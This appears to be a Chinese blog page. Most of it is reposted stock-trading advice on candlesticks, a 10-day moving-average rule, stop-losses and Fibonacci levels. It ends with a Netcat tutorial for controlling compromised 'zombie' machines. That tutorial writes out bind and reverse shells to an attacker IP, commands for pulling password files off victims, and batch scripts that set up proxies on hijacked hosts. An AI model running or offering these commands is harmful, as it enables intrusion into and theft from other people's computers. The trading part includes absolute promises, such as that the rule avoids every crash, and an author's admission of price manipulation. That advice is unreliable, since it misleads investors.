一根阴线之后又一根跳空阴线,表明空方全面进攻已经开始。如果出现在高价附近,则下跌将开始,多方无力反抗;如果在长期下跌行情的尾端出现,则说明这是最后一跌,是逐步建仓的时候了。要是第二根阴线的下影线越长则多方反攻的信号越激烈。阳线则相反。如果在长期上涨行情的尾端出现,则是最后一涨(缺口理论中把这叫做竭尽缺口),第二根阳线的上影线越长,越是要跌了。

跳空阴阳交替K线
一阳加上一根跳空的阴线,说明空方力量正在增强。若出现在高价位,说明空方有能力阻止股价继续上升。一阴加一跳空阳线则完全相反。多空双方中多方在低价位取得一 定优势,改变了前一天的空方优势的局面,今后的情况还要由是在下跌行情的途中,还是在低价位而定。

两阴和两阳
连续两根阴线,第二根的收盘不比第一根低。说明空方力量有限,多方出现暂时转机,股价回头向上的可 能性大。两阳正好相反。它是空方出现转机,股价可能将向下调整。如前所述,两种情况中上下影线的长度直接反映了多空双方力量大小的程度。

阳吃阴和阴吃阳
一根阴线被一根阳线吞没,说明多方已经取得决定性胜利,空方将节节败退,寻找新的抵抗区域。 阳线的下影线越长,多方优势越明显。反之则是空方掌握主动的局面,多方已经瓦解。

单独一根光头光脚大阳线实体
这种K线说明市场波动很大,多空双方的争斗已经有了结果。长长的阳线表明,多方发挥了最大的力量,已经取得了决定性胜利,今后一段时间多方将掌握主动权。换句话说,今后讨论的问题将是还要继续上涨到什么地方,而不是要跌到什么地方。如果这条长阳线出现在一个盘局的末端,它所包含的内容将更有说服力。

单独一根光头光脚大阴线实体
涵义正好同大阳线实体相反。现在是空方的市场,空方说了算。空方取得优势的大小与大阴线实体相同。

光脚阳线
这是一种上升抵抗型K线。多方虽占优势,但不像大阳线实体中的优势那么大,受到了一些抵抗。多方优势的大小与上影线的长度有关,与实体的长度也有关。一般说来,上影线越长,实体越短,越不利于多方,也就是多方所占优势越小;上影线越短,实体越长,越有利于多方,也就是多方占的优势越大。

光头阴线
这是下降抵抗型。它所包括的内容正好与光脚阳线相反。将光脚阳线中的上影线换成下影线,多方换成空方,就是其内容的完整叙述。

单独一根光头光脚小阳线实体
该K线表示价格上下波动的幅度很小,没有明显的趋势,说谁占优势还为时尚早。结合它之前的K线情况, 可能有以下几种涵义:
①盘局时。这时说明多方稍占优势,大举向上突破的时机并不成熟,多方只是试探性地将价格向上缓慢地推升,后面结果怎样,心里没底,因为空方只是暂时受挫。
②前一天是大涨,今天是再一次上涨。表明多方踊跃入场,大量买入,供需平衡受到严重的破坏,市场呈现高涨的浪潮。
③前一天大跌,今天再一次大跌。表明多方正顽强抵抗当前出现的空方浪潮,但是抵抗并未取得明显的决定性的战果,多方今后还将受到来自空方的力量的考验,结果如何还很难说。
单独一根光头光脚小阴线实体
这个K线与光头光脚小阳线实体的涵义正好相反,结合它之前的K线情况, 可能有以下几种涵义:
①盘局时。这时说明空方稍占优势,大举向下突破的时机并不成熟,空方只是试探性地将价格向下缓慢地推升,后面结果怎样,心里没底,因为多方只是暂时受挫。
②前一天是大跌,今天是再一次下跌。表明空方踊跃入场,大量卖出,供需平衡受到严重的破坏,市场呈现下跌的浪潮。
③前一天大涨,今天再一次大涨。表明空方正顽强抵抗当前出现的多方浪潮,但是抵抗并未取得明显的决定性的战果,空方今后还将受到来自多方的力量的考验,结果如何还很难说。

两阴吃一阳
两阴吃掉第一天的一根阳线,空方的力量已经显示出很强大。多方连续两天失利,并不能肯定就完全无望,此时应结合这三根K线前一天的K线情况加以细分。大约可以分成三种情况:
①两阴比两阳短,说明多方优势还在,还握有主动权。
②两阴比两阳长,说明空方优势已确立, 下一步是空方的主动。
③四根K线中有三根阴线,说明空方进攻态势很明确。另外,单从前三根K线看,第四天将是多方的主动,但是第四根K线只稍微向上拉了一下就向下直泻,表明我们原先期待的多方优势其实是非常的小,根本经不起空方的冲击。

两阳吃一阴
这是同"两阴吃一阳”图刚好相反的图,只是多方和空方的地位正好调了一下。
简单地叙述如下:
①(a)空方优势仍然在手;
②(b)空方优势已经不存在了;
③(c)多方优势明显。

两阴夹一阳,
第三根阴线比第二根阳线低,使得空方占优,在下落途中多方只作了较小的抵抗,暂时收复了一些失地,但在第三天空方的强大打击下,溃不成军,空方已占优势。两阳夹一阴则相反,是多方的优势。

[交易技巧]十日平均线法

对于那初入市的股民和屡战屡套的老股民,我推荐一个最简易的买卖原则。 股价在10天平均线上,才可以考虑买入股票。股价跌破10天平均线时,必须卖出股票。 有的人一定会觉得这太简单。难就难在你做不做得到。 不信各位股友回顾一下自己一年来的买卖史,如果那一次你刚买股票就被套住,九成九你是在十天平均线下买入的。如果那一次你刚卖股票就踩空,九成九你是在十天平均线上卖出的。 笔者在国外做一只股票,持有了几个月,涨了70%(在国外算了不得了),用得就是这招。因为这里信息不通。 没有小道消息,看不到图表,只能手算五天,十天平均线。有时赚钱就是这么简单。 如果你坚持该原则,一定会多赚少赔。如果从此你体会到这后面隐含的道理,你的炒股水平会达到一个新的高度。

比如你现在空仓,准备买入股票,必须等到股价上升到十天线上,才可以考虑 买入股票。有的股民马上就问某某股票已在十天线上,是否可以买了。还有人问股 票最高价通常在十天线上,买入岂非套住?请注意我可没说过在十天线上买入必赚。 其实这只是前提条件之一。另一个隐含的条件是该股须有较大的上升空间。在我看 来至少有20%的获利空间才行。但有无上升空间恐怕是最难回答的问题。涉及的因素 很多,比如:大势如何(牛市,熊市,调整市),有无题材,庄家实力,离十天线, 历史套牢位的距离...且在不同的阶段,各种因素的影响比重是不同的。这里难以一 一赘述。最后的决定将取决于你个人的经验和感觉,有时甚至还要靠点运气。买入的 决定应该是最难下的。这就是我说的买入要谨慎。实际上没有任何买入是稳赚的,只 有赢面大些一但买入,情况就简单了(其实要做到也不简单)。如果你买对了,该股继续上升,你就一直等到该股最后跌破十天线才获利了结,否则就一直持有。这就是我说的买对了要守得砖如果买错了,该股没几天就跌破十天线,你也必须斩仓或平仓了结。也就是卖出要坚决。 其实此简易十天线法背后蕴含不少股市的诀窍。各位股友如有兴趣的话,我有空 还可以再详述这样做的优点。

十日平均线法的依据

今天我来谈一下简易十天线法的理论根据,或者说为什么十天线法赢面较大?先分析一下为什么要在十天线以上买入。你可以观察一下,一只股票的上升和下跌过程,显然在股票上升过程中买入,只有一点是错 误的(最高点),在股票下跌的过程中买入,只有一点是对的(最低点)。 因此我们认为股票上升过程中买入赢面较大(假定为90%),而股价在十 天线上的技术意义是该股正在上升,因此在十天线上买入股票赢面较 大(90%),而如有的股民那样专在十天线下买入的赢面就很小(10%), 至少短期被套的概率很大。

再分析一下为什么要等到股价跌破十天线才卖呢?多数股民一见 手中的股票涨了20%-30%,甚至只有10%,不等破十天线就赶紧抛出。 如果一下套住,就是破了十天线也舍不得斩仓认赔。做法与十天线法 正好相反。我们不妨比较一下,假定我们在十元买进一只股票,有两 种可能的情况,一是该股继续上升,直至15元后破十天线向下;二是 继续下跌至5元,两种情况的概率假定相当(如你在十天线下买入上升 概率更低)。以十天线法,情况坏时一破位就卖出,我赔一点(如1元),好的时候我赚5元,总的来说我每股赚4元;他们的方法呢,情况不好 赔5元,情况好也只能赚2元,加起来还要赔3元。十天线法显然优胜。

这其实是强调要懂得控制风险,一旦买对了就要赚到尽,以弥补一旦 买错可能招致的损失。 这样两步综合起来,十天平均线法的赢面就更大了。有的股民股 价下跌时觉得股价便宜就去买,一上涨,稍有赢利又很担心再跌回来, 就想卖,套住了又舍不得卖,最后必然多赔少赚,这都是人的心理弱 点。道理很多人都知道,但很多人就是做不到。除了有必要的理论修 养,修心也非常重要。要赚大钱又能不理会一时的金钱得失,理性地 分析,平常心看市,何尝不是炒手追求的最高境界呢?

十日平均线法与鱼身理论

不少朋友看了我的文章后问,如果按十日平均法,非要等到股价涨到十天线 上才买,往往已经损失了从最低价上来这一段盈利;在跌破十天线后才卖,又损 失了从最高价下来这一段盈利。其实这正体现了著名的鱼身理论的精华。即在股 价底价区,情况不太明朗,风险较大。属于鱼头,不好啃。还是避避为好。直至 到发现股票进入明确的上升阶段后,风险较小,赢面较大时(鱼身)才买入。在股 价上升的后段,虽然仍可能有上升空间,但风险已较大,就象鱼尾,也不宜介入。

许多人都知道此道理,都要吃鱼身。但如何知道哪是鱼身呢? 十天均线法正是提供一个客观的判断鱼身的方法。当股价从底部上来穿越十 天线时,我们可以假定鱼头已现,后面想必就是鱼身,只不过是鱼身大小的问题, 所以可以买入。股价在十天线上继续上升,鱼身在不断地展现,但未能看见鱼身 的全部,当然不能卖。直到股价最后跌破十天线,我们可以认为鱼尾已现。那一 块是鱼身已经很清楚了,焉有不走之理。 有一种错误的做法是:当手中的股票涨了一段后,就觉得差不多了,把股票 卖掉,说后面的鱼尾让别人去吃吧。但你说涨30%算鱼身,万一最后涨了一倍呢? 你说涨了一倍算鱼身,如果最后涨了十倍呢?香港的红筹股最近有的涨到十几倍, 让你做一定守不到最后。其实道理很简单,鱼身必须等到鱼尾露出来才能确认! 可见做股票,只要能坚持正确的原则,不须有很强的想象力,一样能赚大钱。

十日平均线法与长短线投资

十天均线法的一个言外之音是不主张炒短线。 做短差大致有三种情形:
一是牛市涨升过程中的正常回档,也就是当指标超买时卖出,回档以后再买 回。这样做其实踩空的风险较大,因为牛市中的涨升有时会猛烈得出人意料。超 买再超买得情况屡见不鲜。即使你出对了,何时把货捡回来也成问题。因为调整 力度每次不可能相同,较难把握。
二是熊市下跌过程中的反弹。也就是当指标超卖时买入,反弹以后再卖出。 这种情况也类似于上一种。即使反弹起来,差价也有限。逆市操作风险大,有如 刀口舔血。了结不果断的话,仅有的一点赢利便会化为乌有甚至被套,损失惨重。 而十天线法则不为短线波动所动,以不变应万变。

三是多空平衡阶段的调整震荡行情。逢高出货,逢低吸纳。但一旦多空分出 胜负,形成突破。其结果不是踩空便是套牢。十天线法的处理是在此区域股价跌 破十天线后,先卖掉出来再说,静观其变。如果最后是向下突破,当然你可以庆 幸逃过此劫。如果确认向上突破,你仍然可以再度追上。损失的不过是一点小差 价。 总的来说,股市走势越是短期,越难掌握。短线做得越多,犯错的机会越大。 为了一点点蝇头小利,冒大风险实在不值得。还不如立足中长线做大势。

有人问 中长线投资是否非得持股一,两年才算?非也。十天线法着眼于大的差价而不是 持股时间长短。只不过通常来说,股价的大幅上扬需要较长时间的换手盘上。实 际上在高投机市场长时间持股风险更高。试问如果能几天赚几倍,何必要等十年, 八年呢?

十日平均线法与趋吉避凶

股市(尤其是中国股市)中充满了机会,同时也充满了陷井。一个较为合理的 市场,其概率应为各半。如何在股市中赚钱,其实归结于如何抓住机会和规避陷 井。十天平均线法正是提供了一种趋吉避凶的手段。

先说避凶。在熊市阶段,大市下跌可能呈不同的方式,盘跌,急跌,反弹, 再跌。经验稍浅的股民一见反弹就以为见底就去追,不想却买到了反弹的顶点, 成为下一波下跌的牺牲品;高明一些的就趁指标超卖时买入做反弹,但这些差价 一般不大,风险很高。而使用十天线法,仅一条十天线上才可以考虑买入就可以 滤掉80%以上的此类错误买入的风险,其余20%多半可以综合其他因素滤掉,即使 万一买错了,你也可以用第二条原则及时止损。所以此法可以最大限度地避免风 险。可以毫不夸张地说,如果你严格执行十天线法,世界上任何一次股灾你都摊不上。

再说趋吉。一旦你买对了股票,上了吉船,就不能轻易放过。有些股民看见 股票涨了一段或到了心理价位就抛,还有的股民在上涨过程的震荡调整中,把持 不住,被洗盘洗了出来,而十天线提供一种客观看市的方法,使我们不易受市场 气氛的影响,不破线则不卖,不容易被洗出来。当然你要想坐得更稳,你还可以 选15,30天线等,只不过在顶部多损失一些赢利而已。十天实际上是一个取舍的结果。

纵观中国股市,由于体制的深层次问题,大部分股票很难说有投资价值,因此 长期投资资金不足,但也要看到外围短线热钱非常充裕,造成股市非牛即熊,上不 见顶,下不见底。中国的股票又具有很高的投机价值。在这种背景下,十日线法既 能赚取高额的投机差价,又能避开高度的投机风险。属于一种适合一般股民的偏于 稳健的投资策略。 当然我不能完全否定一些股民根据自己的情况,采取较为进取的策略,他们愿 意冒更大的风险,如果能赚更多的钱是合理的。否则的话,如果每个人都按十天线 法去做,股票一跌破十天线就不会有成交了,我们又如何出货呢?我们的券商,交 易所,上市公司又靠谁来支持呢?这就是市场的魅力所在。

十日平均线法与顺势而为

许多人都知道顺势 而为的理论。它强调做股票不能太主观,要顺从大势的方向。照洋鬼子的话就是 “Go with the trend, trend is your friend"。而十天线法正是体现顺势 而为的精神。当股价在十天线下时,可以认为大市是向下的,不能买,还要卖。 当股价在十天线上时,可以认为大市是向上的,可以买。

很多人都说我也看图表,也懂技术分析,属于技术派。熟不知对技术理论的 运用有顺势和逆势两种用法。就拿十天平均线这个指标来说,一种用法就如十天 线法,属顺势操作。另一种典型的用法(你们可以在任何一本技术分析的书上找 到)就是当股价远低于十天线(比如10%)时可以买入,当股价远高于十天线(比如 10%)时可以卖出,这种做超买超卖的方法明显属逆市而为。

再举一个例子,趋势 线理论。我对它的运用是当股价在一个上升轨道中运行时,可以认为股票在走上 升趋势;当股价在一个下降轨道中运行时,可以认为股票在走下降趋势。这理论 可以作为研判大势的一种方法。但我从不用来作具体买卖的依据。但我认识的一 些图表派人士,很喜欢随身带一些历史图表,在上面画出各种的上轨,下轨,支 撑线,阻力线,且倾向于在股价回落到支撑线时买入,上升到阻力线时卖出,其 实这已不知不觉堕入了逆市操作的范畴了。其实这种死抠图表的方法实在机械, 有点走火入魔。先不说每一根各个高,低点连起来的支撑线,阻力线的可靠性有 多大,即便其有技术意义,在每个特定的情形,其作用有多大也很难估计。事实 上,在大市向上时,任何一个技术阻力位最终都会被突破;在大市向下时,任何 一个技术支持位最终都会被跌穿。

十日平均线法与技术分析

首先我们研究一下股价是如何形成的?一个简单的事实是股价是由股票 投资者的买卖行为的总和所决定的。一段时间内买量=卖量,股价大致不变;买量大于卖量,股价向上;买量小于卖量,股价向下。那么问题归结于一个投资者如何作出 买入或卖出的决定。首先投资者分析这只股的基本因素。微观的如每股赢利,净 资产,市盈率,利润预测等等,宏观的如行业分析,经济大环境,股市环境。这 些因素中有些是有利于股价上涨的,有些则不利于股价上涨。我们在分析时无形 中是根据当时情况给这些正负面因素加入心理上的权衡比重。

举一个简单的例子, 你可能去买一只大牛市中的劣质股,而去卖一只大熊市中的优质股。这是因为你 对市场环境的权衡比重远大于个股微观因素的权衡比重。

一个数量化的表达就是:

股价=买卖行为=( 基本因素I * 心理权衡比重I)

一个基本面分析者很可能是通过上述方法来判断股价走势的。但其缺陷是明显的。

1.要掌握在某一个时间的全部基本因素是很困难的。举一个例子。在国内股 票的庄家情况可能是股民比较关心的一个基本因素。有的股民一听说某股票有庄 家就往里杀,以为跟着庄家就能赚钱。其实庄家还分大小,有五千万的庄,还有 一,两亿的庄。庄家的风格也不尽相同。有的慢吃慢拉(慢收集慢拉高),有的快 吃快拉,也有的光吃不拉。有的人一定会问难道还有光吃不拉的庄家吗?不瞒你 说,笔者就做过此类庄。这类庄国外也有,一段时间里,股价坚挺,接盘巨大, 等你跟进去不久,突然间接盘全无,股价下滑。究其由是某机构想增持该股一定 股份,买完了自然就不买了。这样的情况外人实际上是很难知晓的。 又比笔者以前做的一只股,前后上涨了70%,历时几个月,基本面并没有什 么变化。到目前为止,经纪有两种说法,一是收购,二是该公司在发权证,所以 要拉股价。但都未证实。而在国内炒风更盛,庄家随便制造一个题材就可以借题 发挥。甚至实在没有题材,也搞一个干炒题材,因为有庄家本身就是一个题材! 显然如你非要找到一个明确支持股价上涨的基本因素才去买股的话,你很可能会 错过很多赚钱机会。

2.即使你在一个时间内能掌握全部因素,但这些因素是在不断变化的,你不 可能完全掌握其变化。比如你根据一只股票的盈利情况判断它应值10-15元,但最 近它却上涨到25元。一个可能的因素是该公司利润有较大增长。

3.即使你能掌握任何时间段的基本因素,你也不可能完全掌握各因素对投资 大众的心理权重,因为此权重随时间,地点不同而不同,比如在国内一段时间“ 浦东概念股”走红,而最近又变成“绩优股”的天下。又比如最近一段国际市场 的焦点在于亚洲股票市场,那么香港股票市场走势对世界股票投资者的心理权重 显然比以往要大得多。因此你很容易理解为什么在任何同样的基本面下,都总存 在着多,空方分歧,这是因此多空双方对相同的基本因素有着不同的心理权重。

技术分析并非从分析基本因素着手,而是避重就轻,较为单纯地分析股价 运动本身。实际上它并不分析股价运动的内因,它只是对股价运动的一个描述而 已。相对于基本因素,心理因素等诸多不明确的一面来说,股价运动本身却是非 常明确的,可在图表上清楚地显示出来。而所有内在因素的综合结果最终都会从 股价中体现出来。技术分析其实承认股价在任何时候都有其一定合理性,如果你 认为某只股票价格不合理,很可能你忽略了某些基本因素。

当然我这里并不是完全否定基本分析,我只是说基本分析不能作为买卖的第 一判断工具。在以技术面为主的前提,基本分析可以是一个很好辅助工具。或者 你可以在前面的公式中插入一个技术面因素,并在任何时候赋以最大权重,这样 也可以把技术分析和基本分析有机地结合在一起。

[交易技巧]摆设止损盘的技巧

从事投机买卖必须承认中间有可能出错是不可避免的事情,才能在出错时及时投降,止损离场避免即小错成大错。弄到深陷泥足。
事实上,止损盘的作用是保护投资者在决策上出现错误时,减低损失的不二法门,我们常说一次意外足以致命,但若能够小心利用止损盘的话就可以化险为夷趋吉避凶。
举例说87年股灾令到很多人倾家荡产假如当时小心分析走势,摆放止损盘在市势逆转之前自动止损离场,就可安然度过一次前所未有的大灾难。那么摆放止损盘的技巧是怎样? 止损盘必须摆放在确认市势会逆转的地方,才足以发挥真正作用。
普通炒家,对止损盘的运用,通常最易范的毛病有三类。
第一,自以为长胜将军,不屑摆止损盘。
第二,心中有止损手中无止损盘。
第三,随意用一个金额作为止损盘。
对于第一类的炒家市场迟早会对其惩罚,无需讨论,当然绝对不可效法。
第二类心中有止损盘,起因在于害怕无端止损离场,待要离场才决定应否斩仓,但人性的弱点往往不肯认输,兼临时犹豫不决,因此没有事先摆设止损盘的后果是通常会将止损盘越降越低酿成大错,等到忍无可忍的时候才被迫平仓。
至于第三类人,随意以某一个金额作为止损盘,实在是自讨苦吃,举例说 a君沽空黄金愿意承受一千美元的损失,又想做三手合约,于是定下每张合约3点5美元的止损盘,最常见的情形,便是市势在触及A君的止损盘后金价才继续下跌,而a君本来有正确的投资方向,因为策略上的错误无端止损离场,正确的做法,是以图表分析作为摆放止损盘的基础将止损盘摆放于市势将会逆转的地方这样做有两个好处第一闯到止损盘就代表市势逆转止损离场是正确的投资态度,第二没有闯到止损盘,表示大势仍然一如所料的发展,手上持有的盘口,可以继续乘顺风车,享受赢钱赢到尽的乐趣。
至于如何选择适当的价位摆设止损盘就要视乎自己用的分析系统而定,比如波浪理论,形态分析,平均线,或电脑分析系统,都会有不同的计算方法。
总而言之,我们认为值得注意遵守的地方有如下的几点:
第一,必须在入市之前摆定止损盘,之后可以安心视察市势的发展。
第二,摆定止损盘之后,千万不可随意取消,或在失利的情况下将止损盘退后。
第三,要注意利用“众地莫企”的原理。如果大部分人都将止损盘摆设在同一个位置, 远离一些重要价位避免一网打尽。
第四,入市方向正确时,可以将原定的止损盘的止损价位,跟随市势的发展逐步调整,保证既得利益的同时尽量赚取更多的利润,这时候,经调整的止损盘可称为止赚盘,例如沽金以后,金价下跌,可以将止赚盘逐步降低,保证记得利润和尽量多赚。

2007年3月5日星期一

[交易技巧] 注意单日转向的信号

黄金分割是一个古老的数学方法。对它的各种神奇的作用和魔力,数学上至今还没有明确的解释,只是发现它屡屡在实际中发挥我们意想不到的作用。
在股票的技术分析中,还有一个重要的分析流派--波浪理论中要用到黄金分割的内容。在这里,我们仅仅说明如何得到黄金分割线,并根据它的指导进行下一步的买卖股票的操作。
画黄金分割线的第-步是记住若干个特殊的数字:
0.191 0.382 0.618 0.809
1.191 1.382 1.618 1.809
2.618 4.236
这些数字中0.382,0.618,1.382,1.618最为重要,股价极为容易在由这四个数产生的黄金分割线处产生支撑和压力。
第二步是找到一个点。这个点是上升行情结束,调头向下的最高点,或者是下降行情结束,调头向上的最低点。当然,我们知道这里的高点和低点都是指一定的范围,是局部的。只要我们能够确认一个趋势(无论是上升还是下降)已经结束或暂时结束,则这个趋势的转折点就可以作为进行黄金分割的点,这个点一经选定,我们就可以画出黄金分割线了。
在上升行情开始调头向下时,我们极为关心,这次卜落将在什么位置获得支撑。黄金分割提供的是如下几个价位,它们是由这次上涨的顶点价值分别乘上上面所列特殊数字中的几个。假设,这次上涨的顶点是10元,则
8.09=10×0.809
6.18=10×0.618
3.82= 10×0.382
1.91=10×0.191
这几个价值极有可能成为支撑,其中6.18和3.82的可能性最大。
同理,在下降行情开始调头向上时,我们关心上涨到什么位置将遇到压力。黄金分割线提供的位置是这次下跌的底点价位乘上上面的特殊数字。假设,这次下落的谷底价位为10元,则
11.91=10×1.191 20=10×2
13.82=10×1.382 26.18=10×2.618
16.18=10×1.618 42.36=10×4.236
18.09=10×1.809
将可能成为未来的压力位。其中13.82,16.18以及20成为压力线的可能性最大,超过20的那几条很少用到。

[交易技巧]短线交易的五个秘密

大部份人都能学得一技之长贡献社会并养家营生,也有极少数人会不务正业流连赌场,视博弈为赚钱良方。学有专长者如股市分析师、水电工人等,都是有益于他人。有时候水电工人倒是比分析师有用。早上起来读读分析师的报告并不能让您在当日交易获利,但中午来修马桶的水电工却能使它马上停止漏水。当夕阳斜,晚风飘时,想想看,到底谁比较有用?  
一个短线交易者不该去当分析师,而要试着成为能修马桶的水电工,一动就能见效,也就是说,一交易,买或卖就要获利。同时他要认知自己是在赌场环境中的一个赌徒,因此短线交易者要学会一针见血之技,也要是个好的赌徒,能算会算的赌徒。水电工与赌徒都要认识自己的一个限制,那就是想以此成为巨富,免谈。要以此营生或时时赚些小利,蝇头也罢,倒可试试,但需知一些小秘密。  
第一,要快乐。你如果觉得短线交易不简单,很痛苦,就不要做。所谓短线交易最短者就是日交易,当日进当日出,不放过夜。长期持股长期伤脑筋,短线交易不过夜,晚上睡得安稳。因持股时间短,担心时间也短。当然,一两天或两三天的持股期也归类为短线交易。短线交易的目的在寻刺激找快乐,不成就这小目的就不要试。  
第二,略懂技术分析,三分靠本事,七分靠感觉。重点在略懂两字,学太多懂太多,就可以去当正式技术分析师了,何需自做短线?学半天就可以学会修马桶,只要学一天技术分析就可做短线。那要学些什么呢?十分钟线图会画趋势线,会用极短期平均线,会解释价与量的表现,如是而已。其他就是看看市场指数,听听基本面消息凭感觉从事。  
第三,要有数学中学程度。知晓概率是短线交易的致胜因素。事实上,说中学程度的概率是好听而已,也许这种小问题没念过算术的人也知道。一个有六面的骰子从 1 到 6,三个偶数三个奇数,偶数出算赢,奇数出算输。长期掷骰,奇偶出的概率约各半。短线交易买后,涨或跌的情况。通常也是各半。那短线交易如何赢呢?让赢的时候赚一元,输的时候赔 0.5 元。100 次中,赢 50 次,赚 50 元,输 50 次赔 25 元,最后总结赚 25 元。这是短线交易常在我心的唯一胜计,别无他方良策。所以进场后,方向对了让它去跑一下以达目的;方向不对立刻出场没有心理因素考虑去留的余地。  
第四,大形势不对,不管时间长短,绝不交易。形势对时,胜算会比前述 50 对 50 高出许多。形势不对如逆水行舟,高明的短线交易必为自己放长假,与势争绝无必要,且有可能引来平白伤亡。什么叫形势对与不对?九○年代的大牛市到 2000 年 3 月形势逆转,此时投资人尚无从得知大势不妙,到了 10 月后技术图 50 天平均线向下破到 200 天平均线之下,形成死亡交叉,此时投资人该全面退场,短线交易更不可为。这情况到了今年 5 月时完全改变,50 天平均线又翻上 200 天平均线形成黄金交叉。此时短线交易者长达两年半的假期结束,又是好交易时节的到来。  
第五,短线交易不是天天交易。做极短线者叫日交易者,但并不能日日交易。如果您今天交易赚了 900 元不要期待明天再进场去再赚 900 元。短线交易的好处是好像自己做生意,可选择那天做那天不做。您不要选择联准会要宣布涨不涨利息那天去做短线,那天该是看戏的日子。

2007年2月26日星期一

NC的使用教程

本文作者:不詳
文章出處:不詳
文章性質:轉載
閱讀次數:270
發佈日期:2005-12-19


作者:蔡益浩 來源:www.caiyihao.com
文章結構:

  0. 寫在前面的話
  1. Netcat 1.10 for NT - nc11nt.zip,原始英文信息
  2. Netcat 1.10 for NT 幫助信息
  3. Netcat 1.10 常用的命令格式
  4. 管理肉雞,更改肉雞設置
  5. 下載連接
  6. 後記

########################################
0. 寫在前面的話
########################################

  最近工作比較空閒,老是想著怎麼自動telnet肉雞,自動執行命令。來管理自己的肉雞。自己寫一個程序。功底是不夠的,所以只有看了看nc的幫助信息,雖然只看了個半懂,但是借助於金山詞霸2002版本, 還是明白了一點東西.

  我覺的有必要再總結一下.反正主要是滿足我自己的需要.


########################################
1. Netcat 1.10 for NT - nc11nt.zip
########################################

Basic Features

* Outbound or inbound connections, TCP or UDP, to or from any ports
* Full DNS forward/reverse checking, with appropriate warnings
* Ability to use any local source port
* Ability to use any locally-configured network source address
* Built-in port-scanning capabilities, with randomizer
* Can read command line arguments from standard inputb
* Slow-send mode, one line every N seconds
* Hex dump of transmitted and received data
* Ability to let another program service established
connections
* Telnet-options responder

New for NT

* Ability to run in the background without a console window
* Ability to restart as a single-threaded server to handle a new
connection
________________________________________________________________________
Some of the features of netcat are:

Outbound or inbound connections, TCP or UDP, to or from any ports
Full DNS forward/reverse checking, with appropriate warnings
Ability to use any local source port
Ability to use any locally-configured network source address
Built-in port-scanning capabilities, with randomizer
Built-in loose source-routing capability
Can read command line arguments from standard input
Slow-send mode, one line every N seconds
Optional ability to let another program service inbound connections

Some of the potential uses of netcat:

Script backends
Scanning ports and inventorying services
Backup handlers
File transfers
Server testing and simulation
Firewall testing
Proxy gatewaying
Network performance testing
Address spoofing tests
Protecting X servers
1001 other uses you`ll likely come up with

Netcat + Encryption = Cryptcat


  對比win2000微軟的telnet.exe和微軟的tlntsvr.exe服務,連接的時候就可以看出來了.1.1 NC.EXE是一個非標準的telnet客戶端程序,1.2 還有一個putty.exe客戶端程序,提供四種連接模式
-raw -telnet -rlogin -ssh.


########################################
2. Netcat 1.10 for NT 幫助信息
########################################

C:\WINDOWS\Desktop>nc -h
[v1.10 NT]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, background mode (後台模式)
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft (本幫助信息)
-i secs delay interval for lines sent, ports scanned (延遲時間)
-l listen mode, for inbound connects (監聽模式,等待連接)
-L listen harder, re-listen on socket close (連接關閉後,仍然繼續監聽)
-n numeric-only IP addresses, no DNS (ip數字模式,非dns解析)
-o file hex dump of traffic (十六進制模式輸出文件,三段)
-p port local port number (本地端口)
-r randomize local and remote ports (隨機本地遠程端口)
-s addr local source address (本地源地址)
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose] (-vv 更多信息)
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning] (掃瞄模式,-vv)
port numbers can be individual or ranges: m-n [inclusive]


########################################
3. Netcat 1.10 常用的命令格式
########################################

  下面引用 《沉睡不醒 10月15日凌晨》的文章的部分。

3.1.端口的刺探:

nc -vv ip port
RIVER [192.168.0.198] 19190 (?) open //顯示是否開放open


3.2.掃瞄器

nc -vv -w 5 ip port-port port
nc -vv -z ip port-port port

  這樣掃瞄會留下大量的痕跡,系統管理員會額外小心。

3.3. 後門

victim machine: //受害者的機器
nc -l -p port -e cmd.exe //win2000
nc -l -p port -e /bin/sh //unix,linux
attacker machine: //攻擊者的機器.
nc ip -p port //連接victim_IP,然後得到一個shell。


3.4.反向連接
attacker machine: //一般是sql2.exe,遠程溢出,webdavx3.exe攻擊.
//或者wollf的反向連接.
nc -vv -l -p port
victim machine:
nc -e cmd.exe attacker ip -p port
nc -e /bin/sh attacker ip -p port

或者:

attacker machine:
nc -vv -l -p port1 /*用於輸入*/
nc -vv -l -p prot2 /*用於顯示*/
victim machine:
nc attacker_ip port1 | cmd.exe | nc attacker_ip port2
nc attacker_ip port1 | /bin/sh | nc attacker_ip port2


  139要加參數-s(nc.exe -L -p 139 -d -e cmd.exe -s 對方機器IP),這樣就可以保證nc.exe優先於NETBIOS。

3.5.傳送文件:

3.5.1 attacker machine <-- victim machine //從肉雞拖密碼文件回來.
nc -d -l -p port < path\filedest     /*attacker machine*/ 可以shell執行
nc -vv attacker_ip port > path\file.txt /*victim machine*/ 需要Ctrl+C退出
//肉雞需要gui界面的cmd.exe裡面執行(終端登陸,不如安裝FTP方便).否則沒有辦法輸入Crl+C.

3.5.2 attacker machine --> victim machine //上傳命令文件到肉雞
nc -vv -l -p port > path\file.txt      /*victim machine*/ 需要Ctrl+C退出
nc -d victim_ip port < path\filedest   /*attacker machine*/ 可以shell執行
//這樣比較好.我們登陸終端.入侵其他的肉雞.可以選擇shell模式登陸.


  結論: 可以傳輸ascii,bin文件.可以傳輸程序文件.

  問題:連接某個ip後,傳送完成後,需要發送Ctrl+C退出nc.exe .或者只有再次連接使用pskill.exe 殺掉進答漸y柄了?

3.6 端口數據抓包.

nc -vv -w 2 -o test.txt xfocus.net 80 21-15

< 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax error
< 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # , command "" unr
< 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized...
< 00000084 83 00 00 01 8f # .....


3.7 telnet,自動批處理。 ★★★★★我要重點推薦的東西就是這個.

nc victim_ip port < path\file.cmd   /*victim machine*/ 顯示執行過程.
nc -vv victim_ip port < path\file.cmd   /*victim machine*/ 顯示執行過程.

nc -d victim_ip port < path\file.cmd 安靜模式.

_______________file.cmd________________________
password
cd %windir%
echo []=[%windir%]
c:
cd \
md test
cd /d %windir%\system32\
net stop sksockserver
snake.exe -config port 11111
net start sksockserver
exit
_______________file.cmd__END___________________


########################################
4. 管理肉雞,更改肉雞設置
########################################

